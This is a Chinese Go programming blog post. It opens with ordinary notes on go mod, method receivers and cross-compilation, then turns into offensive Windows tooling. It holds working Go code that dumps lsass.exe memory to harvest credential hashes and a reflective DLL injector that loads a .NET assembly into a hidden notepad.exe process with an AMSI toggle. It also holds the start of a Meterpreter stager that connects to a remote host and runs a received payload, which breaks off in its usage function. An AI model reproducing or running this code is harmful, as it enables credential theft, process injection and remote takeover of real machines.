go语言编程1

举报
亿人安全 发表于 2023/05/31 16:51:19 2023/05/31
【摘要】 go modgo mod init: 初始化modulesgo mod download: 下载依赖的module到本地cachego mod edit: 编辑go.mod文件,选项有-json、-require和-exclude,可以使用帮助go help mod editgo mod graph: 以文本模式打印模块需求图go mod tidy: 检查,删除错误或者不使用的modules...

go mod

go mod init: 初始化modules
go mod download: 下载依赖的module到本地cache
go mod edit: 编辑go.mod文件,选项有-json、-require和-exclude,可以使用帮助go help mod edit
go mod graph: 以文本模式打印模块需求图
go mod tidy: 检查,删除错误或者不使用的modules,以及添加缺失的模块 下载位置: GOPATH/pkg/mod
go mod vendor: 生成vendor目录,将依赖复制到vendor目录下面
go mod verify: 验证依赖是否正确
go mod why:解释为什么需要依赖
go list -m:查看主模块的路径
go list -m -f={{.Dir}}:查看主模块的根目录
go list -m all:查看当前的依赖和版本信息


Go语言技巧

goland 调试




goto



接收者



type user struct {
        name  string,
        email string,
}

//这是函数的定义
func notify(email string) {
        fmt.Println("Email is %s", email)
}

//这是方法的定义
func (u user) notify(email string) {
        fmt.Println("Email is %d", email)
}


接收者有两种,一种是值接收者,一种是指针接收者。顾名思义,值接收者,是接收者的类型是一个值,是一个副本,方法内部无法对其真正的接收者做更改;指针接收者,接收者的类型是一个指针,是接收者的引用,对这个引用的修改之间影响真正的接收者。像上面一样定义方法,将 user 改成 *user 就是指针接收者


golang静态编译


golang 的编译(不涉及 cgo 编译的前提下)默认使用了静态编译,不依赖任何动态链接库。


这样可以任意部署到各种运行环境,不用担心依赖库的版本问题。只是体积大一点而已,存储时占用了一点磁盘,运行时,多占用了一点内存。早期动态链接库的产生,是因为早期的系统的内存资源十分宝贵,由于内存紧张的问题在早期的系统中显得更加突出,因此人们首先想到的是要解决内存使用效率不高这一问题,于是便提出了动态装入的思想。也就产生了动态链接库。在现在的计算机里,操作系统的硬盘内存更大了,尤其是服务器,32G、64G 的内存都是最基本的。可以不用为了节省几百 KB 或者1M,几 M 的内存而大大费周折了。而 golang 就采用这种做法,可以避免各种 so 动态链接库依赖的问题,这点是非常值得称赞的。


显示指定静态编译方法


在Docker化的今天, 我们经常需要静态编译一个Go程序,以便方便放在Docker容器中。 即使你没有引用其它的第三方包,只是在程序中使用了标准库net,你也会发现你编译后的程序依赖glic,这时候你需要glibc-static库,并且静态连接。


不同的Go版本下静态编译方式还有点不同,在go 1.10下, 下面的方式会尽可能做到静态编译:


    CGO_ENABLED=0 go build -a -ldflags '-extldflags "-static"' .


效率会提高


解决go参数问题


Go交叉编译

1. Windows下


编译为Linux可运行文件


SET CGO_ENABLED=0
SET GOOS=linux
SET GOARCH=amd64
go build main.go


编译为MAC可运行文件


SET CGO_ENABLED=0
SET GOOS=darwin
SET GOARCH=amd64
go build main.go


编译为Window可运行文件


SET GOOS=windows
go build main.go

2. MAC下


编译为Windows可执行文件


CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go


编译为Linux可执行文件


CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go


3. Linux下


编译为Windows可执行文件


CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go


编译为MAC可执行文件


CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go


gox


安装


go get github.com/mitchellh/gox


使用


  1.编译window 64位:
  	gox -osarch="windows/amd64" ./
  2.编译mac 64位:
  	gox -osarch = "darwin/amd64" ./
  3.编译Linux 64位:
  	gox -osarch="linux/amd64" ./
 在当前目录生成二进制文件
 
 
 #如果我们想生成linux和windows上的程序,只要通过一下命令:
$gox -os "windows linux" -arch amd64
#目录下你就能看到生成出来的两个程序
hello_linux_amd64
hello_windows_amd64.exe
#如果不加参数-arch ...,将编译所有类型
 tgox_linux_386
 tgox_linux_amd64
tgox_linux_arm
gox_linux_arm64
tgox_linux_mips
tgox_linux_mips64
tgox_linux_mips64le
tgox_linux_mipsle
tgox_linux_ppc64
tgox_linux_ppc64le
tgox_linux_s390x





Go dump和内存加载Csharp

dump hash

package main

import (
	"flag"
	"fmt"
	"github.com/mitchellh/go-ps"
	"log"
	"os"
	"strconv"
	"syscall"
	"unsafe"
)

const targetProcess string = "lsass.exe"

func elevateProcessToken() error {

	type Luid struct {
		lowPart  uint32
		highPart int32
	}
	type LuidAndAttributes struct {
		luid       Luid
		attributes uint32
	}

	type TokenPrivileges struct {
		privilegeCount uint32
		privileges     [1]LuidAndAttributes
	}

	const SeDebugPrivilege = "SeDebugPrivilege"
	const tokenAdjustPrivileges = 0x0020
	const tokenQuery = 0x0008
	var hToken uintptr

	user32 := syscall.MustLoadDLL("user32")
	defer user32.Release()

	kernel32 := syscall.MustLoadDLL("kernel32")
	defer user32.Release()

	advapi32 := syscall.MustLoadDLL("advapi32")
	defer advapi32.Release()

	GetCurrentProcess := kernel32.MustFindProc("GetCurrentProcess")
	GetLastError := kernel32.MustFindProc("GetLastError")
	OpenProdcessToken := advapi32.MustFindProc("OpenProcessToken")
	LookupPrivilegeValue := advapi32.MustFindProc("LookupPrivilegeValueW")
	AdjustTokenPrivileges := advapi32.MustFindProc("AdjustTokenPrivileges")

	currentProcess, _, _ := GetCurrentProcess.Call()

	result, _, err := OpenProdcessToken.Call(currentProcess, tokenAdjustPrivileges|tokenQuery, uintptr(unsafe.Pointer(&hToken)))
	if result != 1 {
		fmt.Println("OpenProcessToken(): ", result, " err: ", err)
		return err
	}

	var tkp TokenPrivileges

	result, _, err = LookupPrivilegeValue.Call(uintptr(0), uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))), uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))))
	if result != 1 {
		fmt.Println("LookupPrivilegeValue(): ", result, " err: ", err)
		return err
	}

	const SePrivilegeEnabled uint32 = 0x00000002

	tkp.privilegeCount = 1
	tkp.privileges[0].attributes = SePrivilegeEnabled

	result, _, err = AdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tkp)), 0, uintptr(0), 0)
	if result != 1 {
		fmt.Println("AdjustTokenPrivileges() ", result, " err: ", err)
		return err
	}

	result, _, _ = GetLastError.Call()
	if result != 0 {
		fmt.Println("GetLastError() ", result)
		return err
	}

	return nil
}

func processDump(pid int) {

	//set up Win32 APIs
	var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
	var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
	var kernel32 = syscall.NewLazyDLL("kernel32.dll")
	var procOpenProcess = kernel32.NewProc("OpenProcess")
	var procCreateFileW = kernel32.NewProc("CreateFileW")

	process, err := os.FindProcess(pid)

	if err == nil {
		fmt.Printf("进程 %d 找到 \n", process.Pid)
	} else {
		fmt.Printf("进程 %d not 没有找到 \n", pid)
		os.Exit(1)
	}

	processHandle, _, err := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(pid))

	if processHandle != 0 {
		fmt.Println("返回进程的句柄成功")
	} else {
		fmt.Println("返回进程的句柄失败")
		fmt.Println(err)
		os.Exit(1)
	}

	currentDirectory, _ := os.Getwd()
	filePath := currentDirectory + "\\" + strconv.Itoa(pid) + ".dmp"

	os.Create(filePath)

	path, _ := syscall.UTF16PtrFromString(filePath)
	fileHandle, _, err := procCreateFileW.Call(uintptr(unsafe.Pointer(path)), syscall.GENERIC_WRITE, syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE, 0, syscall.OPEN_EXISTING, syscall.FILE_ATTRIBUTE_NORMAL, 0)

	ret, _, err := procMiniDumpWriteDump.Call(uintptr(processHandle), uintptr(pid), uintptr(fileHandle), 0x00061907, 0, 0, 0)

	if ret != 0 {
		fmt.Println("成功dump", filePath)
	} else {
		fmt.Println("失败dump")
		fmt.Println(err)
		os.Remove(filePath)
	}

}

func main() {

	var pid int = 0

	lsassPtr := flag.Bool("l", false, "选择LSASS")
	processPtr := flag.Int("p", 0, "选择PID")

	flag.Parse()

	if *lsassPtr {
		pid = getLsassPid()
	} else if *processPtr != 0 {
		pid = *processPtr
	} else {
		fmt.Println("请选择LSASS或者PID")
		os.Exit(1)
	}

	if pid == 0 {
		fmt.Println("无效进程")
		os.Exit(1)
	}

	err := elevateProcessToken()
	if err != nil {
		fmt.Println(err)
		os.Exit(1)
	}

	processDump(pid)

}

func getLsassPid() int {

	var pid int

	processList, err := ps.Processes()
	if err != nil {
		log.Println("ps.Processes() Failed")
		return 0
	}
	for x := range processList {
		var process ps.Process
		process = processList[x]
		if process.Executable() == targetProcess {
			pid = process.Pid()
		}
	}
	return pid
}


内存加载Csharp

https://github.com/b4rtik/metasploit-execute-assembly/tree/master/HostingCLR_inject

package main

import (
	"log"
	"os"

	"assembly"
)

func main() {
	assemblyArgs := os.Args[0]

	assemblyBytes := []byte{
		...
	}
	hostingDLL := []byte{
		...
	}
	err := assembly.ExecuteAssembly(hostingDLL, assemblyBytes, assemblyArgs, true)
	if err != nil {
		log.Fatal(err)
	}
}
package assembly

type (
	DWORD uint32
)

const (
	IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
	IMAGE_FILE_MACHINE_I386          = 0x014c
	IMAGE_FILE_MACHINE_AMD64         = 0x8664
	DLL_PROCESS_ATTACH               = 1
	DLL_THREAD_ATTACH                = 2
	DLL_THREAD_DETACH                = 3
	DLL_PROCESS_DETACH               = 0

	IMAGE_DIRECTORY_ENTRY_EXPORT         = 0  // Export Directory
	IMAGE_DIRECTORY_ENTRY_IMPORT         = 1  // Import Directory
	IMAGE_DIRECTORY_ENTRY_RESOURCE       = 2  // Resource Directory
	IMAGE_DIRECTORY_ENTRY_EXCEPTION      = 3  // Exception Directory
	IMAGE_DIRECTORY_ENTRY_SECURITY       = 4  // Security Directory
	IMAGE_DIRECTORY_ENTRY_BASERELOC      = 5  // Base Relocation Table
	IMAGE_DIRECTORY_ENTRY_DEBUG          = 6  // Debug Directory
	IMAGE_DIRECTORY_ENTRY_ARCHITECTURE   = 7  // Architecture Specific Data
	IMAGE_DIRECTORY_ENTRY_GLOBALPTR      = 8  // RVA of GP
	IMAGE_DIRECTORY_ENTRY_TLS            = 9  // TLS Directory
	IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    = 10 // Load Configuration Directory
	IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   = 11 // Bound Import Directory in headers
	IMAGE_DIRECTORY_ENTRY_IAT            = 12 // Import Address Table
	IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   = 13 // Delay Load Import Descriptors
	IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 // COM Runtime descriptor
	IMAGE_REL_BASED_HIGHLOW              = 3
	IMAGE_REL_BASED_DIR64                = 10
	IMAGE_ORDINAL_FLAG64                 = 0x8000000000000000
	IMAGE_ORDINAL_FLAG32                 = 0x80000000
)

type ULONGLONG uint64

type LONG uint32
type WORD uint16
type BOOL uint8
type BYTE uint8

type IMAGE_BASE_RELOCATION struct {
	VirtualAddress DWORD
	SizeOfBlock    DWORD
	//  WORD    TypeOffset[1];
}

type IMAGE_IMPORT_BY_NAME struct {
	Hint WORD
	Name [1]uint8
}

type IMAGE_IMPORT_DESCRIPTOR struct {
	/*
		union {
		DWORD   Characteristics;            // 0 for terminating null import descriptor
		DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
		} DUMMYUNIONNAME;
		DWORD   TimeDateStamp;                  // 0 if not bound,
		// -1 if bound, and real date\time stamp
		//     in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
		// O.W. date/time stamp of DLL bound to (Old BIND)

		DWORD   ForwarderChain;                 // -1 if no forwarders
		DWORD   Name;
		DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)

	*/
	OriginalFirstThunk DWORD
	TimeDateStamp      DWORD
	ForwarderChain     DWORD
	Name               DWORD
	FirstThunk         DWORD
}

type _IMAGE_NT_HEADERS64 struct {
	Signature      DWORD
	FileHeader     IMAGE_FILE_HEADER
	OptionalHeader IMAGE_OPTIONAL_HEADER
}
type IMAGE_NT_HEADERS64 _IMAGE_NT_HEADERS64
type IMAGE_NT_HEADERS IMAGE_NT_HEADERS64

type _IMAGE_DATA_DIRECTORY struct {
	VirtualAddress DWORD
	Size           DWORD
}
type IMAGE_DATA_DIRECTORY _IMAGE_DATA_DIRECTORY

type _IMAGE_OPTIONAL_HEADER64 struct {
	Magic                       WORD
	MajorLinkerVersion          BYTE
	MinorLinkerVersion          BYTE
	SizeOfCode                  DWORD
	SizeOfInitializedData       DWORD
	SizeOfUninitializedData     DWORD
	AddressOfEntryPoint         DWORD
	BaseOfCode                  DWORD
	ImageBase                   ULONGLONG
	SectionAlignment            DWORD
	FileAlignment               DWORD
	MajorOperatingSystemVersion WORD
	MinorOperatingSystemVersion WORD
	MajorImageVersion           WORD
	MinorImageVersion           WORD
	MajorSubsystemVersion       WORD
	MinorSubsystemVersion       WORD
	Win32VersionValue           DWORD
	SizeOfImage                 DWORD
	SizeOfHeaders               DWORD
	CheckSum                    DWORD
	Subsystem                   WORD
	DllCharacteristics          WORD
	SizeOfStackReserve          ULONGLONG
	SizeOfStackCommit           ULONGLONG
	SizeOfHeapReserve           ULONGLONG
	SizeOfHeapCommit            ULONGLONG
	LoaderFlags                 DWORD
	NumberOfRvaAndSizes         DWORD
	DataDirectory               [IMAGE_NUMBEROF_DIRECTORY_ENTRIES]IMAGE_DATA_DIRECTORY
}

type IMAGE_OPTIONAL_HEADER64 _IMAGE_OPTIONAL_HEADER64
type IMAGE_OPTIONAL_HEADER IMAGE_OPTIONAL_HEADER64

type _IMAGE_FILE_HEADER struct {
	Machine              WORD
	NumberOfSections     WORD
	TimeDateStamp        DWORD
	PointerToSymbolTable DWORD
	NumberOfSymbols      DWORD
	SizeOfOptionalHeader WORD
	Characteristics      WORD
}

type IMAGE_FILE_HEADER _IMAGE_FILE_HEADER

type _IMAGE_DOS_HEADER struct { // DOS .EXE header
	E_magic    WORD     // Magic number
	E_cblp     WORD     // Bytes on last page of file
	E_cp       WORD     // Pages in file
	E_crlc     WORD     // Relocations
	E_cparhdr  WORD     // Size of header in paragraphs
	E_minalloc WORD     // Minimum extra paragraphs needed
	E_maxalloc WORD     // Maximum extra paragraphs needed
	E_ss       WORD     // Initial (relative) SS value
	E_sp       WORD     // Initial SP value
	E_csum     WORD     // Checksum
	E_ip       WORD     // Initial IP value
	E_cs       WORD     // Initial (relative) CS value
	E_lfarlc   WORD     // File address of relocation table
	E_ovno     WORD     // Overlay number
	E_res      [4]WORD  // Reserved words
	E_oemid    WORD     // OEM identifier (for E_oeminfo)
	E_oeminfo  WORD     // OEM information; E_oemid specific
	E_res2     [10]WORD // Reserved words
	E_lfanew   LONG     // File address of new exe header
}

type IMAGE_DOS_HEADER _IMAGE_DOS_HEADER

const (
	IMAGE_SIZEOF_SHORT_NAME = 8
)

type _IMAGE_SECTION_HEADER struct {
	Name [IMAGE_SIZEOF_SHORT_NAME]BYTE
	//union {
	//DWORD   PhysicalAddress;
	//DWORD   VirtualSize;
	//} Misc;
	Misc                 DWORD
	VirtualAddress       DWORD
	SizeOfRawData        DWORD
	PointerToRawData     DWORD
	PointerToRelocations DWORD
	PointerToLinenumbers DWORD
	NumberOfRelocations  WORD
	NumberOfLinenumbers  WORD
	Characteristics      DWORD
}

type IMAGE_SECTION_HEADER _IMAGE_SECTION_HEADER

type IMAGE_EXPORT_DIRECTORY struct {
	Characteristics       DWORD
	TimeDateStamp         DWORD
	MajorVersionv         WORD
	MinorVersion          WORD
	Name                  DWORD
	Base                  DWORD
	NumberOfFunctions     DWORD
	NumberOfNames         DWORD
	AddressOfFunctions    DWORD // RVA from base of image
	AddressOfNames        DWORD // RVA from base of image
	AddressOfNameOrdinals DWORD // RVA from base of image
}
//go:build windows
// +build windows

package assembly

import (
	"bytes"
	"encoding/binary"
	"errors"
	"fmt"
	"log"
	"os"
	"os/exec"
	"runtime"
	"strings"
	"syscall"
	"time"
	"unsafe"
)

const (
	PROCESS_ALL_ACCESS     = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
	MEM_COMMIT             = 0x001000
	MEM_RESERVE            = 0x002000
	STILL_RUNNING          = 259
	EXPORTED_FUNCTION_NAME = "ReflectiveLoader"
)

var (
	kernel32               = syscall.MustLoadDLL("kernel32.dll")
	procVirtualAllocEx     = kernel32.MustFindProc("VirtualAllocEx")
	procWriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
	procCreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
	procGetExitCodeThread  = kernel32.MustFindProc("GetExitCodeThread")
)

func virtualAllocEx(process syscall.Handle, addr uintptr, size, allocType, protect uint32) (uintptr, error) {
	r1, _, e1 := procVirtualAllocEx.Call(
		uintptr(process),
		addr,
		uintptr(size),
		uintptr(allocType),
		uintptr(protect))

	if int(r1) == 0 {
		return r1, os.NewSyscallError("VirtualAllocEx", e1)
	}
	return r1, nil
}

func writeProcessMemory(process syscall.Handle, addr uintptr, buf unsafe.Pointer, size uint32) (uint32, error) {
	var nLength uint32
	r1, _, e1 := procWriteProcessMemory.Call(
		uintptr(process),
		addr,
		uintptr(buf),
		uintptr(size),
		uintptr(unsafe.Pointer(&nLength)))

	if int(r1) == 0 {
		return nLength, os.NewSyscallError("WriteProcessMemory", e1)
	}
	return nLength, nil
}

func createRemoteThread(process syscall.Handle, sa *syscall.SecurityAttributes, stackSize uint32, startAddress, parameter uintptr, creationFlags uint32) (syscall.Handle, uint32, error) {
	var threadID uint32
	r1, _, e1 := procCreateRemoteThread.Call(
		uintptr(process),
		uintptr(unsafe.Pointer(sa)),
		uintptr(stackSize),
		startAddress,
		parameter,
		uintptr(creationFlags),
		uintptr(unsafe.Pointer(&threadID)))
	runtime.KeepAlive(sa)
	if int(r1) == 0 {
		return syscall.InvalidHandle, 0, os.NewSyscallError("CreateRemoteThread", e1)
	}
	return syscall.Handle(r1), threadID, nil
}

func getExitCodeThread(threadHandle syscall.Handle) (uint32, error) {
	var exitCode uint32
	r1, _, e1 := procGetExitCodeThread.Call(
		uintptr(threadHandle),
		uintptr(unsafe.Pointer(&exitCode)))
	if r1 == 0 {
		return exitCode, e1
	}
	return exitCode, nil
}

// ExecuteAssembly loads a .NET CLR hosting DLL inside a notepad.exe process
// along with a provided .NET assembly to execute.
func ExecuteAssembly(hostingDll []byte, assembly []byte, params string, amsi bool) error {
	AssemblySizeArr := convertIntToByteArr(len(assembly))

	ParamsSizeArr := convertIntToByteArr(len(params) + 1) // +1 accounts for the trailing null

	cmd := exec.Command("notepad.exe")
	cmd.SysProcAttr = &syscall.SysProcAttr{
		HideWindow: true,
	}
	var stdoutBuf, stderrBuf bytes.Buffer
	cmd.Stdout = &stdoutBuf
	cmd.Stderr = &stderrBuf

	cmd.Start()
	pid := cmd.Process.Pid

	// OpenProcess with PROC_ACCESS_ALL
	handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
	if err != nil {
		return err
	}
	// VirtualAllocEx to allocate a new memory segment into the target process
	hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
	if err != nil {
		return err
	}
	// WriteProcessMemory to write the reflective loader into the process
	_, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))
	if err != nil {
		return err
	}
	log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr)

	// VirtualAllocEx to allocate another memory segment for hosting the .NET assembly and args
	assemblyAddr, err := virtualAllocEx(handle, 0, uint32(len(assembly)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE)
	if err != nil {
		return err
	}

	// 4 bytes Assembly Size
	// 4 bytes Params Size
	// 1 byte AMSI bool  0x00 no  0x01 yes
	// parameter bytes
	// assembly bytes
	payload := append(AssemblySizeArr, ParamsSizeArr...)
	if amsi {
		payload = append(payload, byte(1))
	} else {
		payload = append(payload, byte(0))
	}

	payload = append(payload, []byte(params)...)
	payload = append(payload, '\x00')

	payload = append(payload, assembly...)

	// WriteProcessMemory to write the .NET assembly + args
	_, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&payload[0]), uint32(len(payload)))
	if err != nil {
		return err
	}
	log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(payload), assemblyAddr)
	// CreateRemoteThread(DLL addr + offset, assembly addr)
	attr := new(syscall.SecurityAttributes)

	functionOffset, err := findRawFileOffset(hostingDll, EXPORTED_FUNCTION_NAME)

	threadHandle, _, err := createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr+uintptr(functionOffset)), uintptr(assemblyAddr), 0)
	if err != nil {
		return err
	}
	log.Println("Got thread handle:", threadHandle)
	for {
		code, err := getExitCodeThread(threadHandle)
		if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {
			log.Fatalln(err.Error())
		}
		if code == STILL_RUNNING {
			time.Sleep(1000 * time.Millisecond)
		} else {
			break
		}
	}
	//cmd.Process.Kill()
	outStr, errStr := stdoutBuf.String(), stderrBuf.String()
	fmt.Printf("\nout:\n%s\nerr:\n%s\n", outStr, errStr)
	return nil
}

func convertIntToByteArr(num int) (arr []byte) {
	// This does the same thing as the union used in the DLL to convert intValue to byte array and back
	arr = append(arr, byte(num%256))
	v := num / 256
	arr = append(arr, byte(v%256))
	v = v / 256
	arr = append(arr, byte(v%256))
	v = v / 256
	arr = append(arr, byte(v))

	return
}

func findRawFileOffset(pSourceBytes []byte, exportedFunctionName string) (rawOffset DWORD, err error) {

	var pImageHeader IMAGE_DOS_HEADER
	var pOldNtHeader IMAGE_NT_HEADERS
	var pOldOptHeader IMAGE_OPTIONAL_HEADER
	var pOldFileHeader IMAGE_FILE_HEADER

	// we will re read portions of the byte array into data structs
	// Set back to start
	rdrBytes := bytes.NewReader(pSourceBytes)
	err = binary.Read(rdrBytes, binary.LittleEndian, &pImageHeader)
	if err != nil {
		log.Printf("Failure Reading dll in binary mode, for pImageHeader : %s\n", err)
	}

	// Check the Magic Byte
	if pImageHeader.E_magic != 0x5A4D {
		err = errors.New("Invalid File Format")
		return
	}

	// Just Read the NTHeader from the DLL and cast it pOldNtHeader
	ntHeaderOffset := pImageHeader.E_lfanew
	const sizeOfNTHeader = unsafe.Sizeof(pOldNtHeader)

	// Set the position at the ntHeaderOffset
	rdrBytes = bytes.NewReader(pSourceBytes[ntHeaderOffset:])
	err = binary.Read(rdrBytes, binary.LittleEndian, &pOldNtHeader)
	if err != nil {
		log.Printf("Failure Reading dll in binary mode, for pOldNtHeader : %s\n", err)
		return
	}

	// populate the Optional Header
	pOldOptHeader = pOldNtHeader.OptionalHeader
	pOldFileHeader = pOldNtHeader.FileHeader

	// Where is the export table?
	var exportTableAddress DWORD
	exportTableAddress = pOldOptHeader.DataDirectory[0].VirtualAddress

	var sectionHeaderOffset uint16
	sectionHeaderOffset = IMAGE_FIRST_SECTION(pImageHeader.E_lfanew, pOldNtHeader)
	var sectionHeader IMAGE_SECTION_HEADER
	const sectionHeaderSize = unsafe.Sizeof(sectionHeader)
	var i WORD

	// look for the exports
	section := 0
	var sectionName [8]BYTE
	var pointerToCodeRawData DWORD
	var virtualOffsetForCode DWORD
	for i = 0; i != pOldFileHeader.NumberOfSections; i++ {
		rdrBytes = bytes.NewReader(pSourceBytes[sectionHeaderOffset:])
		err = binary.Read(rdrBytes, binary.LittleEndian, &sectionHeader)
		if err != nil {
			log.Printf("Failure Reading dll in binary mode, for sectionHeader : %s", err.Error())
			return
		}

		// We need to find the .text section to capture the code offset and virtual address
		var secName []byte
		for _, b := range sectionHeader.Name {
			if b == 0 {
				break
			}
			secName = append(secName, byte(b))
		}
		if bytes.Contains(secName, []byte(".text")) {
			virtualOffsetForCode = sectionHeader.VirtualAddress
			virtualOffsetForCode = sectionHeader.VirtualAddress
			pointerToCodeRawData = sectionHeader.PointerToRawData
			// This is for finding the DLLMain
		}

		// For Export table
		if sectionHeader.VirtualAddress > exportTableAddress {
			break
		}
		sectionName = sectionHeader.Name
		section++
		sectionHeaderOffset = sectionHeaderOffset + uint16(sectionHeaderSize)
	}

	sectionHeaderOffset = IMAGE_FIRST_SECTION(pImageHeader.E_lfanew, pOldNtHeader)
	// process each section
	for i = 0; i != pOldFileHeader.NumberOfSections; i++ {
		// Read in the bytes to make up the sectionHeader
		// Set the position at the ntHeaderOffset

		rdrBytes = bytes.NewReader(pSourceBytes[sectionHeaderOffset:])
		err = binary.Read(rdrBytes, binary.LittleEndian, &sectionHeader)
		if err != nil {
			log.Printf("Failure Reading dll in binary mode, for sectionHeader : %s\n", err)
			return
		}

		if sectionHeader.SizeOfRawData > 0 {
			source := make([]byte, sectionHeader.SizeOfRawData)
			// Set the position at the ntHeaderOffset

			rdrBytes = bytes.NewReader(pSourceBytes[sectionHeader.PointerToRawData:])
			err = binary.Read(rdrBytes, binary.LittleEndian, &source)
			if err != nil {
				log.Printf("Failure Reading dll in binary mode, for source : %s\n", err)
				return
			}

			if sectionHeader.Name == sectionName {

				// Let's get the Data Dictionary for the Export table
				addrOffset := exportTableAddress - sectionHeader.VirtualAddress
				var exportDirectory IMAGE_EXPORT_DIRECTORY
				length := unsafe.Sizeof(exportDirectory)

				offset := sectionHeader.PointerToRawData + DWORD(addrOffset)
				rdrBytes = bytes.NewReader(pSourceBytes[offset : offset+DWORD(length)])
				err = binary.Read(rdrBytes, binary.LittleEndian, &exportDirectory)
				if err != nil {
					log.Printf("Failure Reading dll in binary mode, for fragment : %s\n", err)
					return
				}

				//Let's process the names in order to identify the exported function that we are looking for
				addr := sectionHeader.PointerToRawData + exportDirectory.AddressOfNames - sectionHeader.VirtualAddress
				addrBytes, e := getAddress(pSourceBytes, DWORD(addr), 4)
				if e != nil {
					err = e
					log.Printf("Failure Reading dll in binary mode, for AddressOfNames : %s\n", err)
					return
				}
				expOffset := 0
				for i := len(addrBytes) - 1; i >= 0; i-- {
					expOffset *= 256
					expOffset += int(addrBytes[i])
				}

				// Now let's read the value at the the identified address
				//  To do so we need to find the raw offset in the source bytes
				addr = sectionHeader.PointerToRawData + DWORD(expOffset) - sectionHeader.VirtualAddress
				nameLength := len(exportedFunctionName) + 1

				addrBytes, err = getAddress(pSourceBytes, addr, uint32(nameLength))
				if err != nil {
					log.Printf("Failure Reading dll in binary mode, for AddressOfNames : %s\n", err.Error())
					return
				}
				var name []byte
				for _, b := range addrBytes {
					if b == 0 {
						break
					}
					name = append(name, b)
				}

				if bytes.Contains(name, []byte("?"+exportedFunctionName)) {
					//fmt.Println(" **** FOUND ****")

					// let's get the address for this function
					addr = sectionHeader.PointerToRawData + exportDirectory.AddressOfFunctions - sectionHeader.VirtualAddress
					addrBytes, err = getAddress(pSourceBytes, addr, 4)
					if err != nil {
						log.Printf("Failure Reading dll in binary mode, for AddressOfFunctions : %s\n", err.Error())
						return
					}
					//fmt.Printf("\nexportDirectory.AddressOfFunctions @ %x %x %x\n", exportDirectory.AddressOfFunctions, addrBytes, addrBytes)
					expOffset = 0
					for i := len(addrBytes) - 1; i >= 0; i-- {
						expOffset *= 256
						expOffset += int(addrBytes[i])
					}
					// Because we are looking for the position in the file we need to convert the address from in memory
					//  to where it is in the raw file
					rawOffset = pointerToCodeRawData + DWORD(expOffset) - virtualOffsetForCode
					return
				}
			}
		}
		// Increment the section header the size of the the section header
		sectionHeaderOffset = sectionHeaderOffset + uint16(sectionHeaderSize)

	}
	return 0, errors.New("Export not found")
}

func getAddress(source []byte, offset DWORD, length uint32) (result []byte, err error) {

	result = make([]byte, length)
	rdrBytes := bytes.NewReader(source[offset : offset+DWORD(length)])
	err = binary.Read(rdrBytes, binary.LittleEndian, &result)
	return
}

func IMAGE_FIRST_SECTION(offset LONG, ntHeader IMAGE_NT_HEADERS) uint16 {

	//We need to find the starting address of the Section Images
	var x IMAGE_NT_HEADERS
	const sizeSignature = unsafe.Sizeof(x.Signature)
	const sizeFileHeader = unsafe.Sizeof(x.FileHeader)
	const sizeOptHeader = unsafe.Sizeof(x.OptionalHeader)

	total := uint16(uintptr(offset) + sizeSignature + sizeFileHeader + sizeOptHeader)

	return total
}

GO MSF

package main

import (
	"bufio"
	"encoding/binary"
	"fmt"
	"io"
	"log"
	"net"
	"os"
	"reflect"
	"strings"
	"syscall"
	"unsafe"
)

func main() {
	var (
		addr string
		conn net.Conn
		lsnr net.Listener
		err  error
	)

	fmt.Println("letme.go - Minimalistic Meterpreter stager written in Go")
	fmt.Println("Copyright (c) 2021 Marco Ivaldi <raptor@0xdeadbeef.info>")
	fmt.Println()

	// Parse the command line
	switch len(os.Args) {
	case 1:
		addr = ":4444"
	case 2:
		addr = os.Args[1]
	default:
		usage()
	}

	switch {
	case strings.HasPrefix(addr, "-"):
		usage()

	// Start a bind_tcp stager
	case strings.HasPrefix(addr, ":"):
		if arg := strings.Split(addr, ":"); arg[1] == "" {
			usage()
		}
		fmt.Printf("Using bind_tcp stager (%v)\n\n", addr)
		if lsnr, err = net.Listen("tcp", addr); err != nil {
			log.Fatalln(err.Error())
		}
		defer lsnr.Close()
		if conn, err = lsnr.Accept(); err != nil {
			log.Fatalln(err.Error())
		}
		defer conn.Close()

	// Start a reverse_tcp stager
	default:
		fmt.Printf("Using reverse_tcp stager (%v)\n\n", addr)
		if conn, err = net.Dial("tcp", addr); err != nil {
			log.Fatalln(err.Error())
		}
		defer conn.Close()
	}

	// Receive and execute the payload
	payload, err := receivePayload(conn)
	execPayload(payload)
}

// Print usage and exit
func usage() {
	fmt.Println("Usage:")
	fmt.Println("C:\\> letme.exe [:port | host:port]")
	fmt.Println("\nExamples:")
	fmt.Println("C:\\> letme.exe :4444")
